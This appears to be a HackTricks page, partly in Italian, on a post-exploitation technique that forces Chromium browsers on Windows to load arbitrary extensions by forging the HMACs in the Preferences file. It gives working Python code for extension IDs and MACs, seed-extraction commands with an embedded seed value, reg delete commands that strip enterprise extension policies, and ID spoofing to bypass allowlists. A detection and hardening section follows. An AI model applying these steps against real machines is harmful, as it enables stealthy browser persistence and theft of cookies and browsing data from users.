Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Stealthy post-exploitation technique per forzare il caricamento di estensioni arbitrarie nei browser basati su Chromium su Windows modificando le Preferences/Secure Preferences di un utente e contraffacendo HMAC validi per i nodi modificati. Funziona contro Chrome/Chromium, Edge e Brave. Osservato applicabile da Chromium 130 a 139 al momento della pubblicazione. Una semplice primitiva di scrittura su disco nel profilo della vittima è sufficiente per persistere unâestensione con privilegi completi senza flag della command-line o prompt utente.
Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browserâs embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
Dove risiede lo stato delle estensioni (Windows)
- Nonâdomainâjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (include una root "super_mac").
- Domainâjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Nodi chiave usati da Chromium:
- extensions.settings.<extension_id> â embedded manifest/metadata for the extension entry
- protection.macs.extensions.settings.<extension_id> â HMAC for that JSON blob
- Chromium âĽ134: extensions.ui.developer_mode (boolean) must be present and MACâsigned for unpacked extensions to activate
Schema semplificato (illustrativo):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Notes:
- Edge/Brave mantengono strutture simili. Il valore del protection seed può differire (in alcune build è stato osservato che Edge/Brave usano un seed null o diverso).
ID delle estensioni: path vs key e come renderli deterministici
Chromium deriva l'ID dell'estensione come segue:
- Packed/signed extension: ID = SHAâ256 over DERâencoded SubjectPublicKeyInfo (SPKI) â prendere i primi 32 caratteri esadecimali â mappare 0âf su aâp
- Unpacked (no key in manifest): ID = SHAâ256 over the absolute installation path bytes â mappare 0âf su aâp
Per mantenere un ID stabile tra gli host, incorpora una public key DER in base64 fissa in manifest.json sotto "key". L'ID verrĂ derivato da questa key invece del percorso di installazione.
Helper to generate a deterministic ID and a key pair:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Aggiungi la chiave pubblica generata nel tuo manifest.json per bloccare l'ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Falsificare i MAC di integritĂ delle Preferences (core bypass)
Chromium protegge le Preferences con HMACâSHA256 su "path" + valore JSON serializzato di ciascun nodo. Il seed dell'HMAC è incorporato in resources.pak del browser ed era ancora valido fino a Chromium 139.
Estrai il seed con GRIT pak_util e individua il contenitore del seed (file id 146 nelle build testate):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Calcola MACs (HEX maiuscolo) come:
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Esempio minimo in Python:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Scrivi i valori sotto:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium âĽ134)
Differenze tra browser: su Microsoft Edge e Brave il seed può essere null/differente. La struttura HMAC rimane la stessa; regola il seed di conseguenza.
Suggerimenti per l'implementazione
- Usa esattamente la stessa serializzazione JSON che Chromium utilizza quando calcola i MAC (JSON compatto senza spazi bianchi è sicuro in pratica; ordinare le chiavi può aiutare a evitare problemi di ordine).
- Assicurati che extensions.ui.developer_mode esista ed sia firmato su Chromium âĽ134, oppure la tua unpacked entry non si attiverĂ .
Flusso di caricamento silenzioso end-to-end (Windows)
- Genera un ID deterministico e incorpora "key" in manifest.json; prepara un'estensione MV3 unpacked con i permessi desiderati (service worker/content scripts)
- Crea extensions.settings.
incorporando il manifest e i metadati minimi di installazione richiesti da Chromium (state, path per unpacked, ecc.) - Estrai il seed HMAC da resources.pak (file 146) e calcola due MAC: uno per il nodo settings e uno per extensions.ui.developer_mode (Chromium âĽ134)
- Scrivi i nodi e i MAC creati nelle Preferences/Secure Preferences del profilo di destinazione; al prossimo avvio l'estensione si attiverĂ automaticamente con tutti i privilegi dichiarati
Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
- Installa un'estensione consentita dal Web Store e annotane l'ID
- Ottieni la sua chiave pubblica (es., tramite chrome.runtime.getManifest().key nel background/service worker o recuperando/parsando il suo .crx)
- Imposta quella chiave come manifest.key nella tua estensione modificata per riprodurre lo stesso ID
- Registra la voce nelle Preferences e firma i MAC â i controlli di ExtensionInstallAllowlist che verificano solo l'ID vengono bypassati
-
Extension stomping (ID collision precedence)
-
Se un'estensione locale unpacked condivide un ID con un'estensione installata dal Web Store, Chromium preferisce quella unpacked. Questo sostituisce effettivamente l'estensione legittima in chrome://extensions pur preservando il trusted ID. Verificato su Chrome e Edge (es., Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Le policy di Chrome/Edge risiedono sotto HKCU\Software\Policies*
-
Con diritti admin, elimina/modifica le chiavi di policy prima di scrivere le tue voci per evitare blocchi:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Fallback rumoroso: caricamento da riga di comando
Da Chromium âĽ137, --load-extension richiede anche di specificare:
--disable-features=DisableLoadExtensionCommandLineSwitch
Questo approccio è ampiamente noto e monitorato (ad es., da EDR/DFIR; usato da malware commodity come Chromeloader). Preference MAC forging è piÚ furtivo.
Related flags and more crossâplatform tricks are discussed here:
Impatto operativo
Una volta accettata, l'estensione viene eseguita con le autorizzazioni dichiarate, consentendo accesso al DOM, intercettazione/reindirizzamento delle richieste, accesso a cookie/storage e acquisizione di screenshotâdi fatto esecuzione di codice nel browser e persistenza duratura nel profilo utente. Il deploy remoto via SMB o altri canali è semplice poichĂŠ l'attivazione è guidata dai dati tramite Preferences.
Rilevamento e hardening
- Monitorare processi nonâChromium che scrivono in Preferences/Secure Preferences, specialmente nuovi nodi sotto extensions.settings abbinati a voci protection.macs
- Segnalare attivazioni inattese di extensions.ui.developer_mode e voci di estensioni con HMAC valido ma non approvate
- Verificare HKCU/HKLM Software\Policies per manomissioni; applicare le policy tramite device management/Chrome Browser Cloud Management
- Preferire forcedâinstall dallo store con publisher verificati piuttosto che allowlists che fanno match solo sull'extension ID
Riferimenti
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.